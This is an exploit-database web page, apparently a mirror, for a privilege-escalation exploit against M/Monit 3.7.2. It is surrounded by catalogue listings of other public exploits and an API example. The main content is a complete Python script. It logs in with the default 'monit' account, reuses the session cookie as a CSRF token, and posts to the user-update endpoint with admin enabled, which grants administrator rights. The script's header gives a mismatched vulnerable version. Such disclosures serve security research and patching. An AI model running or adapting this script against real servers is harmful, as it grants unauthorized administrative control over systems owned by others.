Menu

Improved exploit search engine. Try it out

"M/Monit 3.7.2 - Privilege Escalation"

Author

"Dolev Farhi"

Platform

multiple

Release date

2019-02-18

Release Date Title Type Platform Author
2019-04-22 "ManageEngine Applications Manager 14.0 - Authentication Bypass / Remote Command Execution (Metasploit)" remote multiple AkkuS
2019-04-22 "Google Chrome 73.0.3683.103 V8 JavaScript Engine - Out-of-Memory in Invalid Table Size Denial of Service (PoC)" dos multiple "Bogdan Kurinnoy"
2019-04-19 "Atlassian Confluence Widget Connector Macro - Velocity Template Injection (Metasploit)" remote multiple Metasploit
2019-04-18 "LibreOffice < 6.0.7 / 6.1.3 - Macro Code Execution (Metasploit)" local multiple Metasploit
2019-04-18 "Netwide Assembler (NASM) 2.14rc15 - NULL Pointer Dereference (PoC)" dos multiple "Fakhri Zulkifli"
2019-04-17 "Oracle Java Runtime Environment - Heap Corruption During TTF font Rendering in GlyphIterator::setCurrGlyphID" dos multiple "Google Security Research"
2019-04-17 "Oracle Java Runtime Environment - Heap Corruption During TTF font Rendering in sc_FindExtrema4" dos multiple "Google Security Research"
2019-04-09 "Apache Axis 1.4 - Remote Code Execution" remote multiple "David Yesland"
2019-04-08 "QNAP Netatalk < 3.1.12 - Authentication Bypass" remote multiple muts
2019-04-03 "Google Chrome 72.0.3626.96 / 74.0.3702.0 - 'JSPromise::TriggerPromiseReactions' Type Confusion" remote multiple "Google Security Research"
2019-04-03 "Google Chrome 73.0.3683.39 / Chromium 74.0.3712.0 - 'ReadableStream' Internal Object Leak Type Confusion" dos multiple "Google Security Research"
2019-04-03 "Google Chrome 72.0.3626.81 - 'V8TrustedTypePolicyOptions::ToImpl' Type Confusion" dos multiple "Google Security Research"
2019-04-03 "WebKitGTK+ - 'ThreadedCompositor' Race Condition" dos multiple "Google Security Research"
2019-04-03 "WebKit JavaScriptCore - CodeBlock Dangling Watchpoints Use-After-Free" dos multiple "Google Security Research"
2019-04-03 "WebKit JavaScriptCore - Out-Of-Bounds Access in FTL JIT due to LICM Moving Array Access Before the Bounds Check" dos multiple "Google Security Research"
2019-04-03 "iOS < 12.2 / macOS < 10.14.4 XNU - pidversion Increment During execve is Unsafe" dos multiple "Google Security Research"
2019-04-03 "WebKit JavaScriptCore - 'createRegExpMatchesArray' Type Confusion" dos multiple "Google Security Research"
2019-04-03 "SpiderMonkey - IonMonkey Compiled Code Fails to Update Inferred Property Types (Type Confusion)" dos multiple "Google Security Research"
2019-03-28 "Oracle Weblogic Server Deserialization RCE - Raw Object (Metasploit)" remote multiple Metasploit
2019-03-26 "Spidermonkey - IonMonkey Type Inference is Incorrect for Constructors Entered via OSR" dos multiple "Google Security Research"
2019-03-26 "Firefox < 66.0.1 - 'Array.prototype.slice' Buffer Overflow" dos multiple xuechiyaobai
2019-03-25 "Apache CouchDB 2.3.1 - Cross-Site Request Forgery / Cross-Site Scripting" webapps multiple "Ozer Goker"
2019-03-21 "Rails 5.2.1 - Arbitrary File Content Disclosure" webapps multiple NotoriousRebel
2019-03-19 "Google Chrome < M73 - FileSystemOperationRunner Use-After-Free" dos multiple "Google Security Research"
2019-03-19 "Google Chrome < M73 - MidiManagerWin Use-After-Free" dos multiple "Google Security Research"
2019-03-19 "Google Chrome < M73 - Data Race in ExtensionsGuestViewMessageFilter" dos multiple "Google Security Research"
2019-03-19 "Google Chrome < M73 - Double-Destruction Race in StoragePartitionService" dos multiple "Google Security Research"
2019-03-18 "BMC Patrol Agent - Privilege Escalation Code Execution Execution (Metasploit)" remote multiple Metasploit
2019-03-15 "NetData 1.13.0 - HTML Injection" webapps multiple s4vitar
2019-03-14 "Apache UNO / LibreOffice Version: 6.1.2 / OpenOffice 4.1.6 API - Remote Code Execution" remote multiple sud0woodo
Release Date Title Type Platform Author
2019-02-18 "M/Monit 3.7.2 - Privilege Escalation" webapps multiple "Dolev Farhi"
2018-06-18 "RabbitMQ Web Management < 3.7.6 - Cross-Site Request Forgery (Add Admin)" webapps linux "Dolev Farhi"
2018-06-11 "userSpice 4.3.24 - Username Enumeration" webapps php "Dolev Farhi"
2018-06-11 "userSpice 4.3.24 - 'X-Forwarded-For' Cross-Site Scripting" webapps php "Dolev Farhi"
2018-02-16 "UserSpice 4.3 - Blind SQL Injection" webapps php "Dolev Farhi"
2018-02-14 "userSpice 4.3 - Cross-Site Scripting" webapps php "Dolev Farhi"
2017-03-16 "Cobbler 2.8.0 - (Authenticated) Remote Code Execution" webapps linux "Dolev Farhi"
2016-08-04 "ntop-ng 2.5.160805 - Username Enumeration" webapps multiple "Dolev Farhi"
2016-04-29 "Observium 0.16.7533 - (Authenticated) Arbitrary Command Execution" webapps php "Dolev Farhi"
2016-04-29 "Observium 0.16.7533 - Cross-Site Request Forgery" webapps php "Dolev Farhi"
2014-05-25 "User Cake - Cross-Site Request Forgery" webapps php "Dolev Farhi"
2015-12-01 "ntop-ng 2.0.151021 - Privilege Escalation" webapps multiple "Dolev Farhi"
2015-10-30 "Hitron Router CGN3ACSMR 4.5.8.16 - Arbitrary Code Execution" webapps hardware "Dolev Farhi"
2015-06-12 "Opsview 4.6.2 - Multiple Cross-Site Scripting Vulnerabilities" webapps multiple "Dolev Farhi"
2014-09-29 "OpenFiler 2.99.1 - Cross-Site Request Forgery" webapps php "Dolev Farhi"
2014-09-20 "M/Monit 3.3.2 - Cross-Site Request Forgery" webapps php "Dolev Farhi"
2014-09-02 "Syslog LogAnalyzer 3.6.5 - Persistent Cross-Site Scripting (Python)" webapps multiple "Dolev Farhi"
2014-07-25 "Zenoss Monitoring System 4.2.5-2108 (x64) - Persistent Cross-Site Scripting" webapps multiple "Dolev Farhi"
2014-07-23 "NETGEAR DGN2200 1.0.0.29_1.7.29_HotS - Password Disclosure" webapps hardware "Dolev Farhi"
2014-05-24 "Mayan-EDms Web-Based Document Management OS System - Multiple Persistent Cross-Site Scripting Vulnerabilities" webapps multiple "Dolev Farhi"
2014-05-12 "SpiceWorks 7.2.00174 - Persistent Cross-Site Scripting" webapps windows "Dolev Farhi"
2014-05-08 "Cobbler 2.4.x < 2.6.x - Local File Inclusion" webapps php "Dolev Farhi"
2014-05-08 "OpenFiler 2.99.1 - Multiple Persistent Cross-Site Scripting Vulnerabilities" webapps hardware "Dolev Farhi"
2014-05-08 "OpenFiler 2.99.1 - Arbitrary Code Execution" webapps hardware "Dolev Farhi"
2014-05-01 "NETGEAR DGN2200 1.0.0.29_1.7.29_HotS - Persistent Cross-Site Scripting" webapps hardware "Dolev Farhi"
2015-05-20 "ZOC SSH Client - Buffer Overflow (SEH) (PoC)" dos windows "Dolev Farhi"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46404/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46404/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46404/40873/mmonit-372-privilege-escalation/download/", "exploit_id": "46404", "exploit_description": "\"M/Monit 3.7.2 - Privilege Escalation\"", "exploit_date": "2019-02-18", "exploit_author": "\"Dolev Farhi\"", "exploit_type": "webapps", "exploit_platform": "multiple", "exploit_port": null}
                                            

For full documentation follow the link above

Browse exploit DB API Browse

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/env/python3

"""
	Vulnerability title: M/Monit <= 3.7.2 - Privilege Escalation
	Author: Dolev Farhi
	Vulnerable version: 2.0.151021	
 	Link: https://mmonit.com
 	Date: 2/17/2019
"""

import sys
import requests

MMONIT_URL  = 'http://ip.add.re.ss:8080'
MMONIT_USER = 'monit' # Default built in unprivileged user
MMONIT_PASS = 'monit'

s = requests.Session()

s.get(MMONIT_URL + '/')

resp = s.post(MMONIT_URL + '/z_security_check', params={'z_username':MMONIT_USER,'z_password':MMONIT_PASS})

if 'Invalid username and/or password' in resp.text:
	print('Error logging in')  
	sys.exit(1)


zessionid = s.cookies.get_dict()['zsessionid']

headers = {
		'CSRFToken':zessionid,
}

resp = s.post(MMONIT_URL + '/admin/users/update',  
					headers=headers, 
					params={'CSRFTOKEN':zessionid,
							'fullname':'john doe',
							'password':MMONIT_USER,
							'title':'',
							'email':'',
							'phone':'',
							'mobile':'',
							'imname':'',
							'uname':MMONIT_PASS,
							'imtype':None,
							'admin':'on',
							'oldpassword':'D9CFD4AF77E33817DE2160E0C1C7607C'
							})

if resp.status_code == 200:
	print('Success! You are now M/Monit admin')
else:
	print('Something went wrong')